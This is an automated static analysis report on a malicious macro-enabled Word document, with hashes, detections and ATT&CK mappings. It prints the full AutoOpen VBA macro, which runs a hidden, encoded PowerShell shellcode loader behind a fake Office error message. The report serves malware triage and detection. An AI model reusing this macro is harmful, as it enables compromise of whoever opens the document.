Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e69f3944c5b08a50…

MALICIOUS

Office (OOXML)

35.2 KB Created: 2015-07-08 20:30:00 UTC Authoring application: Microsoft Macintosh Word 14.0000 First seen: 2015-09-15
MD5: 0f45389d6b8407d771bcc1d513da62e0 SHA-1: 07b2d6cac06473467341f9fe5d8c33acb5ba5cf4 SHA-256: e69f3944c5b08a508f7a4ab3adf4a2ef1ac2bfeda5444cf8141a5fd71d2a2b4d
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically an AutoOpen macro, which is designed to execute a PowerShell command. This command is heavily obfuscated but appears to be a downloader for a second-stage payload. The presence of PowerShell and the nature of the VBA code strongly suggest a malicious downloader. The ClamAV detection 'Doc.Downloader.Pwshell-10001336-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    & "CAAJAB4ADgANgAgACQAYwBtAGQAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAYwBtAGQAIAAkAGUAIgA7AH0A"
    Shell ("POWERSHELL.EXE " & x)
    Dim title As String
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Dim x
            x = "powershell -nop -win hidden -noni -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvA" _
& "G4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAI" _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        Dim x
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/mac/office/2008/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7440 bytes
SHA-256: 6bdb2f78cabd71fa06aa65dcb09c780a4fc8e37e85bf4b22723a6d9193f618ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 18 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        Dim x
            x = "powershell -nop -win hidden -noni -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvA" _
& "G4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAI" _
& "ABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0A" _
& "HIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZ" _
& "gBjACwAMAB4AGUAOAAsADAAeAA4ADIALAAwAHgAMAAwACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgANgAwACwAMAB4ADgAOQAsADAAeABlADUALAAwAHgAMwAxACwAMAB4AGMAMAAsADAAeAA2ADQALAAwAHgAOABiACwAMAB4ADUAMAAsADAAeAAzADAALAAwAHgAOABiACwAMAB4ADUAMgAsADAAeAAwAGMALAAwAHgAOABiACwAMAB4ADUAMgAsADAAeAAxADQALAAwAHgAOABiACwAMAB4ADcAMgAsADAAeAAyADgALAAwAHgAMABmACwAMAB4AGIANwAsADAAeAA0AGEALAAwAHgAMgA2ACwAMAB4ADMAMQAsA" _
& "DAAeABmAGYALAAwAHgAYQBjACwAMAB4ADMAYwAsADAAeAA2ADEALAAwAHgANwBjACwAMAB4ADAAMgAsADAAeAAyAGMALAAwAHgAMgAwACwAMAB4AGMAMQAsADAAeABjAGYALAAwAHgAMABkACwAMAB4ADAAMQAsADAAeABjADcALAAwAHgAZQAyACwAMAB4AGYAMgAsADAAeAA1ADIALAAwAHgANQA3ACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQAwACwAMAB4ADgAYgAsADAAeAA0AGEALAAwAHgAMwBjACwAMAB4ADgAYgAsADAAeAA0AGMALAAwAHgAMQAxACwAMAB4ADcAOAAsADAAeABlADMALAAwAHgAN" _
& "AA4ACwAMAB4ADAAMQAsADAAeABkADEALAAwAHgANQAxACwAMAB4ADgAYgAsADAAeAA1ADkALAAwAHgAMgAwACwAMAB4ADAAMQAsADAAeABkADMALAAwAHgAOABiACwAMAB4ADQAOQAsADAAeAAxADgALAAwAHgAZQAzACwAMAB4ADMAYQAsADAAeAA0ADkALAAwAHgAOABiACwAMAB4ADMANAAsADAAeAA4AGIALAAwAHgAMAAxACwAMAB4AGQANgAsADAAeAAzADEALAAwAHgAZgBmACwAMAB4AGEAYwAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4ADMAOAAsA" _
& "DAAeABlADAALAAwAHgANwA1ACwAMAB4AGYANgAsADAAeAAwADMALAAwAHgANwBkACwAMAB4AGYAOAAsADAAeAAzAGIALAAwAHgANwBkACwAMAB4ADIANAAsADAAeAA3ADUALAAwAHgAZQA0ACwAMAB4ADUAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIANAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADYANgAsADAAeAA4AGIALAAwAHgAMABjACwAMAB4ADQAYgAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADEAYwAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgAYgAsADAAeAAwADQALAAwAHgAO" _
& "ABiACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgAOAA5ACwAMAB4ADQANAAsADAAeAAyADQALAAwAHgAMgA0ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgANgAxACwAMAB4ADUAOQAsADAAeAA1AGEALAAwAHgANQAxACwAMAB4AGYAZgAsADAAeABlADAALAAwAHgANQBmACwAMAB4ADUAZgAsADAAeAA1AGEALAAwAHgAOABiACwAMAB4ADEAMgAsADAAeABlAGIALAAwAHgAOABkACwAMAB4ADUAZAAsADAAeAA2ADgALAAwAHgAMwAzACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAOAAsA" _
& "DAAeAA3ADcALAAwAHgANwAzACwAMAB4ADMAMgAsADAAeAA1AGYALAAwAHgANQA0ACwAMAB4ADYAOAAsADAAeAA0AGMALAAwAHgANwA3ACwAMAB4ADIANgAsADAAeAAwADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeABiADgALAAwAHgAOQAwACwAMAB4ADAAMQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAN" _
& "QAwACwAMAB4ADUAMAAsADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQBhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOQA3ACwAMAB4ADYAYQAsADAAeAAwADUALAAwAHgANgA4ACwAMAB4ADAANQAsADAAeAA4ADUALAAwAHgAMAA5ACwAMAB4ADEAZQAsADAAeAA2ADgALAAwAHgAMAAyACwAMAB4ADAAMAAsADAAeAAwADEALAAwAHgAYgBjACwAMAB4ADgAOQAsA" _
& "DAAeABlADYALAAwAHgANgBhACwAMAB4ADEAMAAsADAAeAA1ADYALAAwAHgANQA3ACwAMAB4ADYAOAAsADAAeAA5ADkALAAwAHgAYQA1ACwAMAB4ADcANAAsADAAeAA2ADEALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA4ADUALAAwAHgAYwAwACwAMAB4ADcANAAsADAAeAAwAGMALAAwAHgAZgBmACwAMAB4ADQAZQAsADAAeAAwADgALAAwAHgANwA1ACwAMAB4AGUAYwAsADAAeAA2ADgALAAwAHgAZgAwACwAMAB4AGIANQAsADAAeABhADIALAAwAHgANQA2ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAN" _
& "gBhACwAMAB4ADAAMAAsADAAeAA2AGEALAAwAHgAMAA0ACwAMAB4ADUANgAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADAAMgAsADAAeABkADkALAAwAHgAYwA4ACwAMAB4ADUAZgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADgAYgAsADAAeAAzADYALAAwAHgANgBhACwAMAB4ADQAMAAsADAAeAA2ADgALAAwAHgAMAAwACwAMAB4ADEAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADUANgAsADAAeAA2AGEALAAwAHgAMAAwACwAMAB4ADYAOAAsADAAeAA1ADgALAAwAHgAYQA0ACwAMAB4ADUAMwAsA" _
& "DAAeABlADUALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA5ADMALAAwAHgANQAzACwAMAB4ADYAYQAsADAAeAAwADAALAAwAHgANQA2ACwAMAB4ADUAMwAsADAAeAA1ADcALAAwAHgANgA4ACwAMAB4ADAAMgAsADAAeABkADkALAAwAHgAYwA4ACwAMAB4ADUAZgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADAAMQAsADAAeABjADMALAAwAHgAMgA5ACwAMAB4AGMANgAsADAAeAA3ADUALAAwAHgAZQBlACwAMAB4AGMAMwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZ" _
& "wB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAeAAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpA" _
& "CkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAeAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUAL" _
& "gBHAGUAdABCAHkAdABlAHMAKAAkADEAKQApADsAJABjAG0AZAAgAD0AIAAiAC0AbgBvAHAAIAAtAG4AbwBuAGkAIAAtAGUAbgBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJAB4ADgANgAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmA" _
& "CAAJAB4ADgANgAgACQAYwBtAGQAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQAYwBtAGQAIAAkAGUAIgA7AH0A"
    Shell ("POWERSHELL.EXE " & x)
    Dim title As String
    title = "Critical Microsoft Office Error"
    Dim msg As String
    Dim intResponse As Integer
    msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."
    intResponse = MsgBox(msg, 16, title)
    Application.Quit
    End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: 7d467c8822454d92e186923efc404a93ef40c461278a60acf06b2f23dddeb702
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 18 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.